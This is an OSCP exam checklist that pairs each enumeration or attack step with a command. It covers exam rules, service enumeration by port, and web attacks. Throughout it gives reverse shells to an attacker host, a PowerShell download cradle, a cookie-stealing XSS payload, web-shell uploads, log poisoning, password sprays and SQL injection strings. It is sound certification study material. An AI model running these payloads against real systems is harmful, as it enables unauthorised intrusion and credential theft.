OSCP Mindmap: what to check on every host

OSCP Mindmap: what to check on every host

Walk every box for the current host before trying anything clever; tick them in Obsidian as you go. Each box is one check with its command. Built from the PEN-200 (2025/2026) course text; placeholders in angle brackets. Companion to the cheat sheet, which holds the full command blocks and the decision tables this note points to.

1. Exam Flow and Time Boxing

1.1 Start of Exam Setup

  • Join the proctoring session 15 minutes early -> the VPN pack arrives at the exact start time; connect from Kali: sudo openvpn <EXAM_PACK>.ovpn
  • Confirm the tunnel and write LHOST into the notes -> every payload needs it: ip a show tun0
  • Read every target's objectives and point values in the Exam Control Panel before scanning -> instructions and hints only exist there; copy them into the notes
  • Create one folder per target plus shared loot files -> creds, usernames and passwords stay in one place: mkdir <TARGET> && touch creds.txt usernames.txt passwords.txt
  • Open one note per host from a template: IP, ports, versions, creds tried, foothold path, privesc path, local.txt, proof.txt, screenshot list -> per finding: app, URL, request type, issue, exact PoC payload
  • Log every command, code change and click as you go -> the report must let a competent reader reproduce each step: script -a <TARGET>/terminal.log
  • Screenshot as you go, one concept per shot, legible, host or URL visible -> missing screenshots cannot be added after submission: flameshot gui
  • Serve tools from one directory for the whole exam -> transfers are one command away: python3 -m http.server 80
  • Before exam day: update the offline Exploit-DB copy -> searchsploit works without internet: sudo apt update && sudo apt install exploitdb
  • Before exam day: unpack rockyou once -> every hydra and hashcat line expects it: sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

1.2 Proof File Rules

  • Check which file you are reading -> local.txt as the unprivileged user; proof.txt needs root on Linux, SYSTEM, Administrator or an admin-group user on Windows
  • Read proofs only in an interactive shell (reverse shell, SSH, RDP, WinRM), from the original location, with cat or type -> web shells do not count
  • Linux screenshot shows file contents and the target IP in the same frame: cat /root/proof.txt; ip addr
  • Windows screenshot shows file contents and the target IP in the same frame: cmd /c "type C:\Users\Administrator\Desktop\proof.txt & ipconfig"
  • local.txt not in the home folder -> search for it on Linux: find / -name local.txt 2>/dev/null
  • local.txt not in the user profile -> search for it on Windows: Get-ChildItem -Path C:\Users -Include local.txt -File -Recurse -ErrorAction SilentlyContinue
  • Paste each proof value into the control panel the moment you read it -> the panel never says whether it is correct; it must be in before the exam ends
  • Reverted a host after submitting -> flags are randomized per revert in the labs, assume the same: re-read, re-screenshot, resubmit
  • Screenshot the chain as well: user shell, privesc command, root or SYSTEM prompt -> the report needs every step: id; hostname

1.3 Order of Attack and Points Math

  • Points: 3 standalones x 20 (10 local.txt + 10 proof.txt), AD set 40 (10 + 10 + DC 20, partial points awarded), pass at 70, no bonus points.
  • Passing combinations: 40 AD + 3 local; 40 AD + 2 local + 1 proof; 20 AD + 3 local + 2 proof; 10 AD + 3 full standalones.
  • Launch full TCP scans of all three standalones before anything else -> results are waiting when you rotate: nmap -p 1-65535 -oN <TARGET>/alltcp <TARGET>
  • Default order: AD set first -> 40 points start from given creds with a predictable chain (enumerate, spray, roast, move), and 40 AD + 3 local.txt already passes
  • AD checkpoint at 3 hours: no admin on the first AD machine -> rotate to the standalone with the best scan results, return to AD later
  • Pick standalones by lowest-hanging fruit in the scans (known versions, anonymous access, web apps), never by IP order -> octets say nothing about difficulty or dependencies
  • Bank local.txt on every standalone early -> three locals (30 points) appear in most passing combinations
  • Assume every exam host is exploitable and has a privesc vector -> there are no decoy machines; "nothing works" means enumeration is incomplete
  • No dependencies between the AD set and standalones, or among standalones -> do not hunt creds on box A to open box B (one spray of found creds is still cheap)
  • Keep a running score in the notes -> you always know which combination you are playing for: echo "<TARGET> local=yes proof=no" >> points.txt

1.4 Time Boxes

  • 0:00 to 0:30 -> VPN, objectives, folders, background full scans of every reachable host
  • AD set first pass: 6 hours maximum, checkpoint at 3 hours (1.3)
  • Standalone first pass: 2 hours to local.txt, then 2 hours to proof.txt -> box expires with no new information -> rotate
  • Single vector: 45 minutes without new information -> write down what you tried and move to the next vector: (sleep 45m; notify-send "TIME BOX: next vector") &
  • Break 10 minutes every 2 hours; sleep 3 to 4 hours once 70 points are documented or when you are circling at night
  • From 21:45 elapsed: no new attacks -> verify every screenshot, every submitted proof value, every command in the notes

1.5 When to Revert

  • Service crashed or stopped answering after an exploit -> revert (24 reverts, limit can be reset once); click revert once and wait
  • Memory corruption exploit failed once -> revert before the next attempt; a crashed service does not come back on its own
  • Log poisoning wrote broken PHP into the log -> the include stays broken until revert
  • Earlier attempts overwrote files, killed services or changed passwords -> revert for a clean state before you blame the vector
  • Waiting on a simulated user -> do not revert; client-side users act on timers, most often every 3 minutes
  • After any revert -> new shell, re-read the proof files, re-screenshot, resubmit

1.6 When to Switch Hosts

  • Time box expired with no new information -> switch now, not after "one more try"
  • local.txt done but privesc stuck for 90 minutes -> bank the 10 points, switch, return with fresh eyes
  • Before switching write three lines in the host note: tried, not tried yet, creds held -> the return starts from "not tried yet"
  • New credential found anywhere -> revisit every parked host with it before continuing

1.7 Stuck Protocol (in this order)

  • Re-read this note for the current phase and tick every box honestly
  • Re-run the full TCP scan without host discovery -> a missed high port is the most common answer: sudo nmap -Pn -p 1-65535 <TARGET>
  • Scan the top UDP ports -> SNMP 161, TFTP 69, NTP 123 hide there: sudo nmap -sU --top-ports=20 <TARGET>
  • Re-check every service, the boring ones first: SSH banner, anonymous FTP, SMB null session, SNMP public
  • Look at what you already hold: creds, usernames, hashes, keys, downloaded files, source code: cat creds.txt usernames.txt passwords.txt
  • Try every credential on every service of this host (SMB shown; repeat for SSH, RDP, WinRM, FTP, web): crackmapexec smb <TARGET> -u usernames.txt -p passwords.txt --continue-on-success
  • Crack anything still uncracked -> intended cracks finish in under 10 minutes with rockyou; if not, the vector is wrong: sudo hashcat -m <MODE> <HASHFILE> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
  • Search the product again without the version and read the version ranges: searchsploit <PRODUCT>
  • Try the simplest guesses: blank, username as password, reversed username: hydra -L usernames.txt -e nsr ssh://<TARGET>
  • Re-read the control panel objective text for this host, then take 10 minutes away from the screen

1.8 Metasploit Allowance and Tool Rules

  • Rule: auxiliary, exploit and post modules plus Meterpreter on ONE machine -> running check counts, the choice locks even when the attack fails, no Metasploit pivoting
  • Allowed on every target: msfvenom plain shell payloads: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o reverse.exe
  • Allowed on every target: multi/handler catching a plain shell: sudo msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST <LHOST>; set LPORT <LPORT>; run"
  • Payload name contains meterpreter -> that is Metasploit use even from msfvenom; keep it off every other machine and pick a plain one: msfvenom -l payloads | grep shell_reverse_tcp
  • Staged payload (shell/reverse_tcp) -> needs multi/handler with the same payload; nc cannot serve the stage, so use stageless shell_reverse_tcp with nc
  • Hold the allowance in reserve -> spend it on a standalone with a reliable module and a broken public PoC, or a Windows foothold with unclear privesc
  • Do not spend it on the AD set (pivoting touches several machines) or on a Linux box with an obvious manual path
  • Write the chosen machine and time into the notes before the first module runs: echo "MSF used on <TARGET> at $(date)" >> notes.md
  • Forbidden everywhere: sqlmap, sqlninja, Nessus, OpenVAS, Nexpose, db_autopwn, Burp Pro, AI chatbots, IP/ARP/DNS/NBNS spoofing -> allowed: nmap NSE, nikto, Burp Community, gobuster
  • Need a Net-NTLMv2 capture -> run Responder without poisoning (analyze mode, capture servers stay up): sudo responder -I tun0 -A
  • Downloaded files or source from an exam host -> only when needed to compromise it; delete afterwards

2. Service Enumeration Checklist (per port)

2.1 Discovery and Port Scans

  • More than one IP in scope -> sweep for live hosts: nmap -v -sn <RANGE> -oG ping-sweep.txt
  • Host silent to ping -> not down, a software firewall drops ICMP: nmap -Pn <TARGET>
  • Default scripts and versions on the top 1000 ports -> quick start while the full scan runs: sudo nmap -sC -sV -oN <TARGET>/nmap <TARGET>
  • Did I scan all 65535 TCP ports? -> start it early, keep enumerating while it runs: nmap -p 1-65535 -oN <TARGET>/alltcp <TARGET>
  • Versions and default scripts on every port the full scan found: sudo nmap -sC -sV -p <PORTS> -oN <TARGET>/versions <TARGET>
  • Top UDP ports -> SNMP, TFTP, NTP, DNS: sudo nmap -sU --top-ports=20 <TARGET>
  • SNMP on its own (cheap, high value): sudo nmap -sU --open -p 161 <TARGET>
  • Versions vague -> OS guess (TTL around 64 Linux, around 128 Windows): sudo nmap -O <TARGET> --osscan-guess
  • Vuln scripts with versions on each interesting port -> vulners lists CVEs, EXPLOIT marks public PoCs: sudo nmap -sV -p <PORT> --script "vuln" <TARGET>
  • Ports 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269 together -> Domain Controller, go to section 7
  • No nmap on a pivot host -> TCP connect scan with nc: nc -nvv -w 1 -z <TARGET> 1-1024
  • Every product and version string -> into the host note and straight into searchsploit (4.2): searchsploit <PRODUCT> <VERSION>

2.2 FTP (21)

  • Anonymous login allowed (nmap -sC prints ftp-anon) -> list and pull everything, user anonymous, blank password: ftp <TARGET>
  • Anonymous works -> mirror the tree for offline grep: wget -m ftp://anonymous:anonymous@<TARGET>
  • Binary files (zip, kdbx, exe) -> switch to binary mode before get or they arrive corrupted: binary
  • Writable directory that the web server also serves -> upload a web shell and browse to it: put shell.php
  • Banner version (FileZilla Server, vsftpd, ProFTPD) -> public exploit lookup: searchsploit <FTP_SERVER> <VERSION>
  • Found or default creds -> try them on FTP: hydra -L usernames.txt -P passwords.txt ftp://<TARGET>

2.3 SSH (22) and Telnet (23)

  • SSH banner -> OS release (search "OpenSSH 8.9p1 Ubuntu 3" -> Ubuntu 22.04): nc -nv <TARGET> 22
  • SSH is rarely the bug -> treat it as the login for creds and keys found elsewhere
  • Known user, no password -> dictionary attack, -s for non-standard ports such as 2222: hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s <PORT> ssh://<TARGET>
  • Every found password against every username: hydra -L usernames.txt -P passwords.txt ssh://<TARGET>
  • Private key found -> fix permissions or ssh ignores it: chmod 400 id_rsa
  • Log in with the key: ssh -i id_rsa -p <PORT> <USER>@<TARGET>
  • Key asks for a passphrase -> crack it: ssh2john id_rsa > ssh.hash && john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
  • Host key mismatch on a reused IP and port -> clear known hosts: rm ~/.ssh/known_hosts
  • Telnet open -> read the banner, try default and found creds: telnet <TARGET> 23

2.4 SMTP (25, 465, 587)

  • Banner and VRFY -> 252 = user exists, 550 = unknown (EXPN for lists): nc -nv <TARGET> 25
  • Many candidate names -> loop the course VRFY script: for u in $(cat usernames.txt); do python3 smtp.py $u <TARGET>; done
  • Valid mailbox plus a simulated user hint -> client-side delivery with swaks (4.4)
  • Mail creds found -> try them on POP3/IMAP and as Windows logons: crackmapexec smb <TARGET> -u <USER> -p '<PASS>'

2.5 DNS (53)

  • Standard records, SOA, NS, bind version: dnsrecon -d <DOMAIN> -t std
  • Zone transfer: dig axfr <DOMAIN> @<TARGET>
  • Automated zone transfer attempts, all A records, netranges: dnsenum <DOMAIN>
  • Subdomain brute force -> new vhosts (gobuster newer than 3.6 takes --do): gobuster dns -d <DOMAIN> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 10
  • Every hostname found -> map it and browse it as a vhost: echo "<TARGET> <HOSTNAME>" | sudo tee -a /etc/hosts

2.6 HTTP and HTTPS (80, 443, 8080, 8443, any web port)

  • Every port nmap labels http, high ports included -> run section 3 on each one separately
  • Page titles across all web ports at once: nmap --script http-title -p <PORTS> <TARGET>
  • TLS certificate -> hostnames and emails for vhosts and usernames: sudo nmap -p443 --script ssl-cert <TARGET>

2.7 Kerberos (88) and LDAP (389, 636, 3268)

  • Port 88 open -> DC; validate usernames without creds: kerbrute userenum -d <DOMAIN> --dc <DC_IP> usernames.txt
  • Valid users -> AS-REP roast without a password (section 7): impacket-GetNPUsers -dc-ip <DC_IP> -usersfile usernames.txt -no-pass <DOMAIN>/
  • KRB_AP_ERR_SKEW (clock skew) -> sync time with the DC: sudo ntpdate <DC_IP>
  • LDAP anonymous bind -> naming context: ldapsearch -x -H ldap://<DC_IP> -s base namingcontexts
  • User objects with descriptions (passwords hide there): ldapsearch -x -H ldap://<DC_IP> -D '<USER>@<DOMAIN>' -w '<PASS>' -b "<BASE_DN>" "(objectClass=user)" sAMAccountName description

2.8 POP3 and IMAP (110, 143, 993, 995)

  • Mail creds found -> read the mailbox for passwords, hints, usernames (USER, PASS, LIST, RETR 1): nc -nv <TARGET> 110
  • IMAP over TLS (a1 LOGIN, a2 SELECT INBOX, a3 FETCH 1 BODY[]): openssl s_client -connect <TARGET>:993 -quiet

2.9 RPC (111, 135)

  • 111 rpcbind -> lists NFS and mountd: rpcinfo -p <TARGET>
  • 135 MSRPC null session -> users and groups (enumdomusers, querydispinfo): rpcclient -U "" -N <TARGET>
  • 135 with admin creds -> WMI command execution (section 7): impacket-wmiexec '<DOMAIN>/<USER>:<PASS>@<TARGET>'
  • Ports 49664 and up on Windows -> dynamic RPC endpoints, not a target on their own

2.10 NetBIOS and SMB (139, 445)

  • NetBIOS names across the range (names hint at roles): sudo nbtscan -r <RANGE>
  • OS, hostname, domain, FQDN (SMBv1 only, can misreport): nmap -v -p 139,445 --script smb-os-discovery <TARGET>
  • Null session share list: smbclient -L //<TARGET>/ -N
  • Guest access: crackmapexec smb <TARGET> -u guest -p '' --shares
  • Users, groups, shares, password policy in one pass: enum4linux -a <TARGET>
  • Readable share -> pull everything, grep for passwords, scripts, configs, kdbx: smbclient //<TARGET>/<SHARE> -N -c 'recurse ON; prompt OFF; mget *'
  • Creds found -> shares as that user, read the READ/WRITE column: crackmapexec smb <TARGET> -u <USER> -p '<PASS>' --shares
  • Writable share that feeds a web root or a user -> web shell, or a .Library-ms / .lnk drop (4.4): smbclient //<TARGET>/<SHARE> -U <USER> -c 'put shell.php'
  • Signing not required -> relay candidate (section 7): nmap -p445 --script smb2-security-mode <TARGET>
  • Old Windows (7, 2008 R2) -> MS17-010 check, then EternalBlue 42031 or 42315: nmap -p445 --script smb-vuln-ms17-010 <TARGET>
  • Spray all users with all passwords: crackmapexec smb <TARGET> -u usernames.txt -p passwords.txt --continue-on-success
  • From a Windows foothold -> shares including admin shares: net view \\<TARGET> /all

2.11 SNMP (161 UDP)

  • Community strings (public, private, manager in a file named community): onesixtyone -c community -i ips
  • Walk the whole tree (contact email, hostname); add -Oa when values are hex: snmpwalk -c public -v1 -t 10 <TARGET>
  • v1 returns nothing -> try v2c: snmpwalk -c public -v2c <TARGET>
  • Windows user accounts: snmpwalk -c public -v1 <TARGET> 1.3.6.1.4.1.77.1.2.25
  • Running processes (AV, vulnerable apps): snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.25.4.2.1.2
  • Process arguments -> passwords on command lines (not in the course table): snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.25.4.2.1.5
  • Installed software -> versions for searchsploit: snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.25.6.3.1.2
  • Listening TCP ports, internal-only services included: snmpwalk -c public -v1 <TARGET> 1.3.6.1.2.1.6.13.1.3

2.12 MSSQL (1433)

  • Windows creds -> connect over TDS: impacket-mssqlclient <USER>:<PASS>@<TARGET> -windows-auth
  • SQL login (sa, or an app account from a config file) -> same without -windows-auth: impacket-mssqlclient sa:<PASS>@<TARGET>
  • Version and Windows build: SELECT @@version;
  • Custom databases (skip master, tempdb, model, msdb): SELECT name FROM sys.databases;
  • Tables of a custom DB: SELECT * FROM <DB>.information_schema.tables;
  • Dump a table, dbo schema in the middle: select * from <DB>.dbo.<TABLE>;
  • Enable command execution, step 1: EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
  • Enable command execution, step 2: EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  • Run commands (EXECUTE, not SELECT) -> upgrade to a reverse shell; the service account usually holds SeImpersonatePrivilege: EXECUTE xp_cmdshell 'whoami';
  • No sysadmin rights -> force authentication to Kali and crack the Net-NTLMv2 hash: EXEC master..xp_dirtree '\\<LHOST>\share';

2.13 MySQL (3306) and PostgreSQL (5432)

  • Try root with blank, root and every found password (TLS error -> --skip-ssl): mysql -u root -p'root' -h <TARGET> -P 3306 --skip-ssl-verify-server-cert
  • Version, DB user, databases: select version(); select system_user(); show databases;
  • DB account hashes (caching_sha2_password): SELECT user, authentication_string FROM mysql.user;
  • App users tables -> hashes and cleartext for reuse: SELECT * FROM <DB>.users;
  • FILE privilege and a writable web dir -> write a web shell: SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/<DIR>/shell.php";
  • PostgreSQL with postgres:postgres or found creds (\l list, \c connect): psql -h <TARGET> -p 5432 -U postgres
  • PostgreSQL superuser -> OS commands (not in the course): CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;

2.14 RDP (3389) and WinRM (5985, 5986)

  • Creds found -> RDP in (xfreerdp handles NLA): xfreerdp /cert-ignore /u:<USER> /d:<DOMAIN> /p:'<PASS>' /v:<TARGET>
  • One password, many users -> spray RDP: hydra -L usernames.txt -p '<PASS>' rdp://<TARGET>
  • Need transfers over RDP -> map a Kali folder, open \tsclient\share on the target: xfreerdp /cert-ignore /u:<USER> /p:'<PASS>' /v:<TARGET> /drive:share,/home/kali/share
  • Only an NTLM hash -> RDP pass the hash (needs Restricted Admin mode): xfreerdp /u:<USER> /pth:<NTLM> /v:<TARGET>
  • Administrators or Remote Management Users member -> WinRM shell: evil-winrm -i <TARGET> -u <USER> -p '<PASS>'
  • NTLM hash instead of a password: evil-winrm -i <TARGET> -u <USER> -H <NTLM>
  • Spray WinRM separately -> valid on SMB does not mean WinRM is allowed: crackmapexec winrm <TARGET> -u usernames.txt -p passwords.txt --continue-on-success

2.15 NFS (2049)

  • List exports: showmount -e <TARGET>
  • Mount and read (SSH keys, backups, configs): sudo mount -t nfs <TARGET>:/<SHARE> /mnt/nfs -o nolock
  • Files owned by a UID you lack -> create a local user with that UID: sudo useradd -u <UID> nfsuser
  • Writable export with no_root_squash -> SUID binary for Linux privesc (section 5); confirm on the target: cat /etc/exports

2.16 VNC (5900, 5901) and Redis (6379)

  • VNC -> connect with no password or a found one: vncviewer <TARGET>::5900
  • VNC password-only auth -> dictionary attack: hydra -P /usr/share/wordlists/rockyou.txt vnc://<TARGET>
  • Redis unauthenticated (not in the course): redis-cli -h <TARGET> info
  • Redis can write files -> set dir and dbfilename to drop a web shell or SSH key: redis-cli -h <TARGET> config set dir /var/www/html

2.17 Unknown and High Ports

  • Grab the banner by hand: nc -nv <TARGET> <PORT>
  • Try HTTP on it even when nmap says unknown: curl -i http://<TARGET>:<PORT>/
  • Re-run version detection and scripts on that port only: sudo nmap -sV -sC -p <PORT> <TARGET>
  • Search the banner product (Grafana 3000, Werkzeug 5000/5002, Jenkins 8080, ManageEngine) -> public exploit and default creds: searchsploit <BANNER_PRODUCT>
  • Windows 5985/47001 = WinRM, 9389 = ADWS (DC), 49664 and up = RPC -> no rabbit hole there
  • Custom service whose binary you can download (FTP, SMB, web) -> debug it locally and fix a BOF exploit (4.3)

3. Web Application Checklist

3.1 Recon and Fingerprinting

  • Server software and version: sudo nmap -p80 -sV <TARGET>
  • Stack (CMS, language, frameworks): whatweb http://<TARGET>
  • First pass at paths, admin pages, listable dirs: sudo nmap -p80 --script=http-enum <TARGET>
  • Response headers (Server, X-Powered-By, X-Aspnet-Version) -> stack and versions: curl -i http://<TARGET>/
  • robots.txt -> Disallow entries are often the target; check sitemap.xml the same way: curl http://<TARGET>/robots.txt
  • Page source (Firefox Debugger, pretty print) -> comments, hidden inputs, JS library versions, app name and version in the footer: curl -s http://<TARGET>/ | grep -i -E 'version|hidden|password|todo'
  • App uses a hostname in links or redirects -> map it or the app breaks: echo "<TARGET> <HOSTNAME>" | sudo tee -a /etc/hosts
  • Directory brute force with the course list and extensions: gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,config -o <TARGET>/gobuster
  • Nothing useful -> bigger list, stack and backup extensions: gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/big.txt -x php,txt,bak,zip
  • gobuster does not recurse -> brute force inside every dir found, 403 ones included: gobuster dir -u http://<TARGET>/<DIR>/ -w /usr/share/wordlists/dirb/common.txt
  • Hostname known -> virtual hosts (not in the course): gobuster vhost -u http://<HOSTNAME> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
  • Exposed .git -> dump it and read the history for creds (the course chain found creds in git log): curl -s http://<TARGET>/.git/HEAD
  • Baseline scanner, allowed in the exam: nikto -h http://<TARGET>
  • Proxy everything through Burp Community (127.0.0.1:8080) and read HTTP history; route curl too: curl -i http://<TARGET>/ --proxy 127.0.0.1:8080

3.2 APIs

  • Versioned API paths -> pattern file with lines {GOBUSTER}/v1 and {GOBUSTER}/v2: gobuster dir -u http://<TARGET>:<PORT> -w /usr/share/wordlists/dirb/big.txt -p pattern
  • Query each endpoint with headers -> user lists, emails, docs at /ui or /console: curl -i http://<TARGET>:<PORT>/users/v1
  • Brute force properties under a known object: gobuster dir -u http://<TARGET>:<PORT>/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
  • 405 Method Not Allowed -> endpoint exists, change the method (PUT, PATCH, POST): curl -i -X PUT http://<TARGET>:<PORT>/<ENDPOINT> -H 'Content-Type: application/json' -d '{}'
  • Registration accepts extra keys -> add admin at sign-up: curl -d '{"password":"lab","username":"<USER>","email":"<EMAIL>","admin":"True"}' -H 'Content-Type: application/json' http://<TARGET>:<PORT>/users/v1/register
  • Token obtained -> call privileged endpoints with it: curl -X 'PUT' http://<TARGET>:<PORT>/users/v1/admin/password -H 'Content-Type: application/json' -H 'Authorization: OAuth <TOKEN>' -d '{"password": "pwned"}'

3.3 Authentication

  • Default creds for the identified app first (read its docs) -> admin:admin, admin:password, TinyFileManager admin:admin@123 and user:12345, MySQL lab root:root, Tomcat tomcat:s3cret
  • Vendor default not known -> look it up: firefox --search "<PRODUCT> default password"
  • Every credential found anywhere -> every login form; password reuse is the norm
  • Error messages differ for bad user vs bad password ("User not found") -> enumerate usernames
  • Staff names and emails on the site (About, Team, footer) -> usernames in the site's format, plus a site wordlist: cewl http://<TARGET>/ -w wordlist.txt
  • Simple POST form, failure string known -> hydra with a short failure string: hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET> http-post-form "/<LOGIN_PATH>:<USER_FIELD>=^USER^&<PASS_FIELD>=^PASS^:<FAIL_STRING>"
  • CSRF token on the login -> patator fetches a fresh token per try (course qdPM example): patator http_fuzz url=http://<TARGET>/<LOGIN_PATH> method=POST body='<TOKEN_FIELD>=_TOKEN_&<USER_FIELD>=FILE0&<PASS_FIELD>=FILE1' 0=emails.txt 1=wordlist.txt before_urls=http://<TARGET>/<LOGIN_PATH> before_egrep='_TOKEN_:name="<TOKEN_FIELD>"[^>]*value="([^"]*)"' accept_cookie=1 follow=0 -x ignore:clen=<FAIL_LEN>
  • Short numeric code (PIN, 2FA) -> Burp Intruder keyspace brute force
  • Lockout, WAF or fail2ban behaviour -> check before any brute force

3.4 Cross-Site Scripting

  • Every input and every logged header -> inject and see what comes back unencoded: < > ' " { } ;
  • Confirm execution: <script>alert(42)</script>
  • Headers stored by plugins and shown to admins (User-Agent, X-Forwarded-For): curl -i http://<TARGET> --user-agent "<script>alert(42)</script>"
  • Only worth exam time when something views the page -> an admin bot or a hint in the objectives
  • Session cookie without HttpOnly (Dev Tools > Storage) -> steal it: <script>new Image().src="http://<LHOST>/?c="+document.cookie</script>
  • HttpOnly set, stored XSS in an admin page -> fetch the nonce and create an admin user (WordPress), payload as char codes: curl -i http://<TARGET> --user-agent "<script>eval(String.fromCharCode(<CHARCODES>))</script>" --proxy 127.0.0.1:8080
  • Admin on the CMS -> plugin or theme web shell (3.11)

3.5 Directory Traversal

  • Find parameters that take file names on every page and link -> ?page=, ?file=, ?language=en.html
  • PHP page with no visible parameter -> fuzz parameter names (not in the course): ffuf -u 'http://<TARGET>/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs <SIZE>
  • Linux test -> usernames and home dirs from the output: curl http://<TARGET>/index.php?page=../../../../../../../../../etc/passwd
  • SSH key of every user with a shell (also id_ecdsa, id_ed25519): curl http://<TARGET>/index.php?page=../../../../../../../../../home/<USER>/.ssh/id_rsa
  • Windows test, try both slash styles: curl "http://<TARGET>/index.php?page=..\..\..\..\..\..\Windows\System32\drivers\etc\hosts"
  • Windows target -> IIS config with creds, then logs under C:\inetpub\logs\LogFiles\W3SVC1: curl "http://<TARGET>/index.php?page=..\..\..\..\..\..\inetpub\wwwroot\web.config"
  • Plain ../ filtered (404) -> URL encode the dots: curl http://<TARGET>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
  • curl strips ../ from the path -> keep it (Grafana CVE-2021-43798 style): curl --path-as-is http://<TARGET>:3000/<TRAVERSAL_PATH>
  • App config with DB creds (wp-config.php, config.php, .env) -> read and reuse everywhere: curl http://<TARGET>/index.php?page=../../../../../../../../../var/www/html/wp-config.php

3.6 Local File Inclusion and PHP Wrappers

  • Included PHP runs instead of showing source (output stops, no PHP visible) -> LFI, not plain traversal: code execution is on the table: curl http://<TARGET>/index.php?page=<KNOWN_PAGE>.php
  • Read PHP source (creds, logic) through the filter, decode with base64 -d: curl http://<TARGET>/index.php?page=php://filter/convert.base64-encode/resource=<FILE>.php
  • Web server log readable through the LFI: curl http://<TARGET>/index.php?page=../../../../../../../../../var/log/apache2/access.log
  • Poison the log once via User-Agent; check the PHP syntax twice, a broken snippet kills the include until revert: curl -s http://<TARGET>/ -A '<?php echo system($_GET["cmd"]); ?>'
  • Include the log with a command, spaces as %20: curl "http://<TARGET>/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=id"
  • Windows XAMPP -> same trick on its log: C:\xampp\apache\logs\access.log
  • Reverse shell through cmd (system() runs sh, so wrap in bash -c): bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<LHOST>%2F<LPORT>%200%3E%261%22
  • No poisonable file and allow_url_include on -> data:// wrapper: curl "http://<TARGET>/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id"
  • JSP, ASP, ASPX or Node app -> same idea, poison with code in that language

3.7 Remote File Inclusion

  • Parameter accepts a URL -> serve the Kali web shells: cd /usr/share/webshells/php/ && python3 -m http.server 80
  • Include it remotely and run a command: curl "http://<TARGET>/index.php?page=http://<LHOST>/simple-backdoor.php&cmd=id"
  • Full shell -> include php-reverse-shell.php after setting $ip and $port: cp /usr/share/webshells/php/php-reverse-shell.php .
  • Windows server -> point the parameter at a UNC path with Responder in analyze mode running -> Net-NTLMv2: curl 'http://<TARGET>/index.php?page=\\<LHOST>\share\x'

3.8 File Upload

  • Upload a harmless file first -> learn allowed types and where files land (uploads/): echo "this is a test" > test.txt
  • PHP blocked -> alternate extensions .phps, .php7, .phtml, mixed case .pHP: cp /usr/share/webshells/php/simple-backdoor.php simple-backdoor.pHP
  • Run the uploaded shell: curl http://<TARGET>/uploads/simple-backdoor.pHP?cmd=id
  • Content-Type or magic byte check (not in the course) -> set Content-Type image/png in Burp and prepend GIF89a; to the file: sed -i '1s/^/GIF89a;\n/' simple-backdoor.pHP
  • IIS or ASP.NET target -> ASPX web shell: cp /usr/share/webshells/aspx/cmdasp.aspx .
  • App can rename files -> upload as .txt, rename to .php
  • Uploads not executable -> traversal in the multipart filename to plant your SSH key (built-in app servers often run as root): ssh-keygen -f fileup
  • Set filename to ../../../../../../../root/.ssh/authorized_keys in Burp Repeater with fileup.pub as content, then log in: ssh -p <PORT> -i fileup root@<TARGET>
  • Windows upload form -> a UNC path as the file name captures Net-NTLMv2: \\<LHOST>\share\nonexistent.txt
  • Writable FTP or SMB share served by the web server -> treat it like an upload form

3.9 Command Injection

  • Feature wraps a CLI tool (ping, git clone, nslookup) -> append a second command with ; && & | URL encoded: curl -X POST --data 'Archive=git%3Bipconfig' http://<TARGET>:<PORT>/archive
  • Payload blocked -> start from what the filter allows (git, git version) and append to it: curl -X POST --data 'Archive=git version' http://<TARGET>:<PORT>/archive
  • No output (blind) -> make the target ping you and watch: sudo tcpdump -i tun0 icmp
  • Windows: CMD or PowerShell context?: (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
  • PowerShell context -> powercat cradle, powercat.ps1 served on 80: IEX (New-Object System.Net.Webclient).DownloadString("http://<LHOST>/powercat.ps1");powercat -c <LHOST> -p <LPORT> -e powershell
  • Linux context -> bash reverse shell wrapped for sh: bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"

3.10 SQL Injection (manual only, sqlmap is forbidden)

  • Single quote in every field, URL parameter, cookie and header -> SQL error means injectable: '
  • Login form -> auth bypass, returns the first user (often admin): <USER>' OR 1=1 -- //
  • Errors reflected -> leak the version: ' or 1=1 in (select @@version) -- //
  • Error-based dump, one column at a time, tied to a user: ' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
  • Results shown in the page -> column count, raise N until it errors (do not trust the visible table): ' ORDER BY 1-- //
  • Which columns display: %' UNION SELECT 'a1', 'a2', 'a3', 'a4', 'a5' -- //
  • DB name, user, version in the non-ID columns: ' UNION SELECT null, null, database(), user(), @@version -- //
  • Tables and columns: ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
  • Dump creds: ' UNION SELECT null, username, password, description, null FROM users -- //
  • No output, page differs on TRUE vs FALSE -> boolean blind: <USER>' AND 1=1 -- //
  • No difference at all -> time-based blind, compare with a fake user: <USER>' AND IF (1=1, sleep(3),'false') -- //
